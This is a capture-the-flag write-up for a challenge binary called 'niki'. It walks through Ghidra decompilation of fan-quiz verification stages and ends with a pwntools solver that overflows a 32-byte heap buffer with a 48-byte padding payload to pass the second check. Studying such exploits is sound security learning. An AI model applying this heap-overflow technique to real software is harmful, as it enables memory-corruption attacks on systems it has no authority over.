

Niki Write Up

Ryukie?

Given a file named “niki” and nc 20.2.88.171 1450

```
(base) (davidgntg@LAPTOP-9PLF05S0)-[/mnt/d/Cyber/binary/niki]
$ file niki
niki: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, not stripped
```

First of all I’m checking the type of file and it is an elf file that can be run at linux.

```
(base) (davidgntg@LAPTOP-9PLF05S0)-[/mnt/d/Cyber/binary/niki]
$ ./niki
Niki fan only program.
No larper allowed here!
His laugh you'd die for, his laugh you'd die for
The kind that colors the sky
Heart intangible, slips away faster than
Dandelion fluff in the sunlight
> Take A
[1]+  Stopped                  ./niki
```

After I run it, the program has an timer for just around 3 seconds. So no matter what, if we hasn’t finish this program before the timer ran out, the program stopped immediately.

```
(base) (davidgntg@LAPTOP-9PLF05S0)-[/mnt/d/Cyber/binary/niki]
$ ./niki
Niki fan only program.
No larper allowed here!
His laugh you'd die for, his laugh you'd die for
The kind that colors the sky
Heart intangible, slips away faster than
Dandelion fluff in the sunlight
> a
Larper detected
```

We also know if we give the wrong input, the program will return “Larper detected” that tells us the program had stopped and we give the wrong input.

And after that, I open the program in ghidra.

```
1
2 undefined8 main(void)
3
4 {
5     setup();
6     welcome();
7     anti_larper();
8     niki_fan_verification_stage1();
9     niki_fan_verification_stage2();
10    win();
11    return 0;
12 }
13
```

Here is the main function. We got the stage of the verification we must pass to get the flag at the win() function.

```
1
2 void niki_fan_verification_stage1(void)
3
4 {
5     int iVar1;
6     long in_FS_OFFSET;
7     char local_38 [40];
8     long local_10;
9
10    local_10 = *(long *) (in_FS_OFFSET + 0x28);
11    if (*current_stage != 1) {
12        terminate_larper();
13    }
14    puts("His laugh you\'d die for, his laugh you\'d die for");
15    puts("The kind that colors the sky");
16    puts("Heart intangible, slips away faster than");
17    puts("Dandelion fluff in the sunlight");
18    printf("> ");
19    __isoc23_scanf("%31[^\n]", local_38);
20    iVar1 = strcmp(local_38, "Take A Chance With Me");
21    if (iVar1 == 0) {
22        *current_stage = *current_stage + 1;
23    }
24    else {
25        terminate_larper();
26    }
27    if (local_10 != *(long *) (in_FS_OFFSET + 0x28)) {
28        /* WARNING: Subroutine does not return */
29        __stack_chk_fail();
30    }
31    return;
32 }
33
```

Here is the first stage of the verification. If we were given a question, we must answer it with “Take A Chance With Me” to continue to stage 2.

```
1
2 void niki_fan_verification_stage2(void)
3
4 {
5     int nicole_ans;
6     void *offset;
7     int *nicole_amount;
8
9     if (*current_stage != 2) {
10         terminate_larper();
11     }
12     offset = malloc(32);
13     nicole_amount = malloc(4);
14     *nicole_amount = 12;
15     printf("How many songs are present in the album \"Nicole\"? ");
16     __isoc23_scanf(&DAT_00102173, &nicole_ans);
17     if ((nicole_ans < 1) || (11 < nicole_ans)) {
18         terminate_larper();
19     }
20     printf("Are you sure your answer is correct? ");
21     __isoc23_scanf(&DAT_0010219e, offset);
22     if (*nicole_amount != nicole_ans) {
23         terminate_larper();
24     }
25     *current_stage = *current_stage + 1;
26     return;
27 }
```

Note: I changed some of the variable name

So this is the second verification stage where we do the exploit. We got 2 questions in this stage. In the first question, we are given a

question that only allow the input from 1 to 11. But here comes the second question. This question checks our input if it is same with the first input and it also checked if the input is same as 12.

```

1|
2| void win(void)
3|
4| {
5|     FILE *__stream;
6|     long in_FS_OFFSET;
7|     char local_58 [72];
8|     long local_10;
9|
10|    local_10 = *(long *) (in_FS_OFFSET + 0x28);
11|    __stream = fopen("flag", "r");
12|    if (__stream == (FILE *) 0x0) {
13|        puts("run your solver on the remote server");
14|    }
15|    else {
16|        fgets(local_58, 0x40, __stream);
17|        puts(local_58);
18|    }
19|    if (local_10 != *(long *) (in_FS_OFFSET + 0x28)) {
20|        /* WARNING: Subroutine does not return */
21|        __stack_chk_fail();
22|    }
23|    return;
24| }
25|

```

If we passed through all of the verification, the program will print the flag.

The exploit we will do is “Heap Buffer Overflow (maybe, idk)”

```

10|     terminate_larper();
11| }
12| offset = malloc(32);
13| nicole_amount = malloc(4);
14| *nicole_amount = 12;
15| printf("How many songs are present in the album \"Nicole\"? ");
16| __isoc23_scanf(&DAT_00102173, &nicole_ans);
17| if ((nicole_ans < 1) || (11 < nicole_ans)) {
18|     terminate_larper();
19| }
20| printf("Are you sure your answer is correct? ");
21| __isoc23_scanf(&DAT_0010219e, offset);
22| if (*nicole_amount != nicole_ans) {
23|     terminate_larper();
24| }
25|

```

Right here we know the byte allocation for the first input is 32 byte. After that I tried to use the 32 byte as offset in the solver, but it failed. So then I searched up on internet and found that in front of every heap allocation, there is something called “metadata”. This thing usually took around 8-16 bytes of memory, so we need to overwrite the metadata too. This gives us the offset (32+16 = 48).

```
(base) (davidgntg@LAPTOP-9PLF0550)-[/mnt/d/Cyber/binary/niki]
└─$ cat solve.py
from pwn import *
context.log_level = 'debug'

io = remote("20.2.88.171", 1450)

io.sendlineafter(b"> ", b"Take A Chance With Me")
io.sendlineafter(b'album "Nicole"? ', b"1")

offset = 48
payload = b"A" * offset + p64(1)
io.sendlineafter(b"Are you sure your answer is correct? ", payload)

io.interactive()
```

Flag = C2SI{gampang_banget_buset_heap_overflow}